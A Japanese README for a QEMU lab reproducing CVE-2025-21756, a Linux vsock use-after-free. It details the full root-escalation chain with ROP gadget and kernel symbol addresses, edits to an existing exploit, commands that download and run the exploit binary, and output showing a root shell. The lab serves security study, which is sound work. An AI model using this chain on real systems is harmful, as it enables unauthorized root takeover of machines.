
教育的および許可されたセキュリティ研究目的のみに使用してください。
CVE-2025-21756 は、2025年2月26日に公開された Linux カーネルの vsock (仮想ソケット) サブシステムにおける use-after-free (UAF) 脆弱性です。影響を受ける Linux システム上で、ローカルの攻撃者が root への権限昇格 を可能にします。
net/vmw_vsock/af_vsock.cこのバグは vsock ソケットの トランスポート再割り当て 中に発生します。脆弱なシーケンスは次のとおりです:
vsock_create() が refcnt=2 でソケットを作成し、アンバウンドリストに挿入するtransport->release() がソケットがバウンドリストに移動されたかどうかを確認せずに vsock_remove_bound() を呼び出し、誤って refcnt をデクリメントするvsock_bind() がソケットはまだアンバウンドリストにあると見なして、再度 _vsock_remove_bound() を呼び出すrefcnt が早期に 0 に達し → vsock オブジェクトが参照されたまま解放される → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() 呼び出しにより、vsock オブジェクトが vsock_bind_table にリンクされたまま早期に解放されます。unix_dgram_sendmsg を使って order-2 メッセージ (MIGRATE_UNMOVABLE) で再取得し、制御データで埋めます。vsock_diag_dump (AppArmor で保護されていない) をサイドチャネルとして使用し、ページが再取得されたタイミングを検出し、ページ内の対象オブジェクトの正確なオフセットを特定します。sk->sk_prot を udp_prot+0x1c0 (udp_abort) を指すように上書きします。呼び出されると sk->sk_error_report(sk) が呼び出され、そのポインタはスタックピボットガジェットで上書きされます。commit_creds(init_cred) を実行してプロセスに root 資格情報を割り当て、続いて KPTI トランポリンでユーザースペースに戻ります。execve("/bin/sh") を実行sudo アクセス権を持つ一般ユーザー# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
このスクリプトは自動的に以下を処理します:
sudo が利用できない場合はインストールbuild-essential, qemu-system-x86, bc, pahole など)lts-6.6.75, rootfs, ramdisk) のダウンロードrun_lab.sh を作成cd ~/cve-2025-21756-lab
./run_lab.sh
環境が起動したら、その内部で以下を実行します:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
終了するには: Ctrl-A X
ベースとなるエクスプロイトは ktranowl のものです。この環境で動作させるために以下の変更が適用されました:
変更点: カーネルブートパラメータに nokaslr を追加。
理由: 元のエクスプロイトは、精密な CPU タイミングを必要とする TLB タイミングサイドチャネル手法である EntryBleed を使用して KASLR を回避します。ネストされた仮想化環境では rdtsc の精度が EntryBleed を確実に動作させるには不十分であり、誤った kbase が生成されるため、ADDRESS() で計算されるすべてのアドレスが間違ってしまいます。KASLR を無効にすることで、カーネルが常に 0xffffffff81000000 にロードされ、エクスプロイト内のハードコードされたオフセットが常に正しくなります。
user_rip を modeprobe_exec から check_root に変更変更点 (exploit.c):
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
理由: modeprobe_exec はリモート kCTF 環境向けに元のエクスプロイトで使用された権限昇格手法です。コマンドライン引数 (リモートサーバーの IP とポート) と外部ネットワーク接続が必要です。これらの引数がないと、argv[1] の読み取り時に GPF が発生しプロセスがクラッシュします。check_root は uid を直接確認して /bin/sh を実行するため、ローカル環境でのエクスプロイトデモには十分です。
check_root 内の modeprobe_exec 呼び出しを削除変更点 (exploit.c):
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
理由: user_rip が check_root を指していても、この関数は /bin/sh を実行する前に内部で再度 modeprobe_exec を呼び出していました。必要な引数がないため、その呼び出しで GPF が発生し、commit_creds が既に権限昇格に成功していたにもかかわらず、シェルを開かずにプロセスが終了していました。
ラボのセットアッププロセス中、すべてのカーネルシンボルと ROP ガジェットは公式の kCTF lts-6.6.75 カーネルに対して検証され、この環境で有効であることが確認されました。
エクスプロイトで使用される 3 つのガジェットは、vmlinux バイナリに対して ROPgadget を使用して公式カーネルから抽出され、ハードコードされた値と完全に一致することが確認されました:
これらのいずれも変更は必要ありませんでした。
以下のシンボルはカーネル内部の /proc/kallsyms に対して検証されました (nokaslr によりオフセットは固定):
すべての値はエクスプロイト内の元の値と一致しました。変更は必要ありませんでした。
address_contain_udp_abort に関する注釈この値は udp_abort 関数を直接指しているのではなく、udp_prot + 0x1c0 を指しています。これは struct proto 内の diag_destroy フィールドです。これは意図的です: vsock_release は sk->sk_prot->close(sk, 0) を呼び出します。ここで close は struct proto のオフセット 0 にあります。sk_prot を udp_prot の先頭ではなく udp_prot->diag_destroy に向けることで、カーネルは diag_destroy を close ポインタであるかのように読み取り、これには udp_abort が含まれています。これにより → にチェーンし、そこにスタックピボットガジェットが配置されます。
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot points to udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy field, read as close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← stack pivot gadget
└── ROP chain
└── commit_creds(init_cred)
└── kpti_trampoline → root shell
公式パッチはカーネル 6.14-rc1 から利用可能で、すべてのメンテナンス中の LTS ブランチにバックポートされています。影響を受けるディストリビューションは独自のアドバイザリを発行しています:
このツールは 教育的目的および許可されたセキュリティテストのみ のために提供されます。所有していない、または明示的な書面によるテスト許可がないシステムに対する不正使用は違法です。著者は誤用について一切の責任を負いません。
| ガジェット | アドレス | 目的 |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | スタックピボット — RSP を制御下の vsock オブジェクトの先頭に移動 |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | スタックアドバンス — 予約フィールドをスキップして ROP チェーンに到達 |
pop rdi ; ret | 0xffffffff8115e4f9 | commit_creds(init_cred) の最初の引数をロード |
| シンボル | アドレス | 備考 |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | サイドチャネルアンカー — 被害オブジェクトが配置される vsock リストスロット |
init_net | 0xffffffff84bb1f80 | vsock_diag_dump を介して偽の vsock オブジェクトを検証するために使用 |
commit_creds | 0xffffffff811fdac0 | 現在のプロセスに root 資格情報を割り当てる |
init_cred | 0xffffffff83c74d80 | uid=gid=0 の資格情報構造体、カーネルベースから固定オフセット |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — CR3 を復元しユーザースペースに戻る |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — 下記の注釈を参照 |
sk_error_report(sk)sk->sk_error_report(sk)| 側面 | 元 (ktranowl) | 本ラボ |
|---|
| KASLR 回避 | EntryBleed (TLB タイミング) | 無効化 (nokaslr) |
| 権限昇格手法 | core_pattern 経由の modeprobe_exec | execve("/bin/sh") 直接 |
| 対象環境 | リモート kCTF | ローカル |
| 外部接続の必要性 | あり | なし |
| リソース | URL |
|---|